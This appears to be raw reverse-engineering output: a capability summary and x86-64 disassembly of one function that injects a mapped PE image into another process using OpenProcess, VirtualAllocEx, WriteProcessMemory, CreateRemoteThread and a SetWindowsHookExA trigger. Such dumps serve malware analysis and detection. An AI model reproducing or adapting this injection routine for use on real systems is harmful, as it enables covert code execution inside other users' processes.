Function at 0x1400255d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov qword [rax - 0x58], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov rax, qword [0x14026be10]
xor rax, rsp
mov qword [rsp + 0xb8], rax
mov r15, rcx
call fcn.140025080
xor r12d, r12d
mov qword [rsp + 0x50], r12
lea rcx, [r15 + 0x258]
cmp qword [rcx + 0x18], 0x10
jb 0x14002562a
mov rcx, qword [rcx]
mov edx, dword [r15 + 0x234]
call fcn.140028fb0
test eax, eax
jne 0x140025650
lea rcx, [0x14021c9b8]
call fcn.1406975d3
nop
mov rcx, rax
call fcn.1400290d0
int3
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400259ef
mov rcx, r15
call fcn.14002a320
mov rcx, r15
call fcn.14002a2f0
mov r14, rax
movsxd rsi, dword [rax + 0x3c]
add rsi, rax
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
mov r9d, dword [rsi + 0x54]
mov qword [rsp + 0x20], r12
mov r8, r14
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, r12d
cmp r12w, word [rsi + 6]
jae 0x14002570b
nop dword [rax + rax]
mov eax, ebx
lea rcx, [rax + rax*4]
mov r9d, dword [rsi + rcx*8 + 0x118]
mov r8d, dword [rsi + rcx*8 + 0x11c]
add r8, r14
mov edx, dword [rsi + rcx*8 + 0x114]
add rdx, rbp
mov qword [rsp + 0x20], r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc ebx
movzx eax, word [rsi + 6]
cmp ebx, eax
jb 0x1400256d0
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x58], rbp
movsxd rcx, dword [r14 + 0x3c]
add rcx, rbp
mov qword [rsp + 0x68], rcx
mov ecx, dword [rsi + 0xb0]
add rcx, rbp
mov qword [rsp + 0x70], rcx
mov eax, dword [rsi + 0x90]
add rax, rbp
mov qword [rsp + 0x78], rax
mov rax, qword [0x140198278]
mov qword [rsp + 0x80], rax
mov rax, qword [0x140198270]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x20], r12
mov r9d, 0x38
lea r8, [rsp + 0x58]
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rsi, [r13 + 0x38]
lea r9, [fcn.140029730]
lea r8, [0x140029550]
sub r9d, r8d
mov qword [rsp + 0x20], r12
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp dword [0x140277c10], 7
jne 0x140025865
mov rax, qword [0x1402741b8]
test rax, rax
jne 0x14002582e
lea rcx, [0x14021c9e0]
call fcn.1406975d3
nop
mov rbx, rax
lea rcx, [0x14021c9f8]
call fcn.1406975d3
nop
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov rdx, rbx
call qword [0x140198270]
mov qword [0x1402741b8], rax
mov qword [rsp + 0x48], r12
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call rax
mov rax, qword [rsp + 0x50]
jmp 0x14002588a
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r13
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x14002590d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [0x14021ca08]
call fcn.1406975d3
nop
mov rdx, rax
mov r8d, ebx
lea rcx, [rsp + 0x98]
call fcn.140028d20
nop
mov rcx, rax
call fcn.140025a00
mov rcx, rax
call fcn.1400290d0
nop
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [r15 + 0x234]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [r15 + 0x28]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
lea rcx, [0x14021ca30]
call fcn.1406975d3
nop
mov rdx, rax
mov rcx, rsi
call qword [0x140198270]
mov rdi, rax
lea rcx, [r15 + 0x238]
call fcn.140025a00
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
call fcn.140029740
mov ebx, eax
mov r9d, eax
mov r8, rsi
mov rdx, rdi
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x204
mov ecx, ebx
call qword [sym.imp.USER32.dll_PostThreadMessageW]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [r15 + 0x234]
shr ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]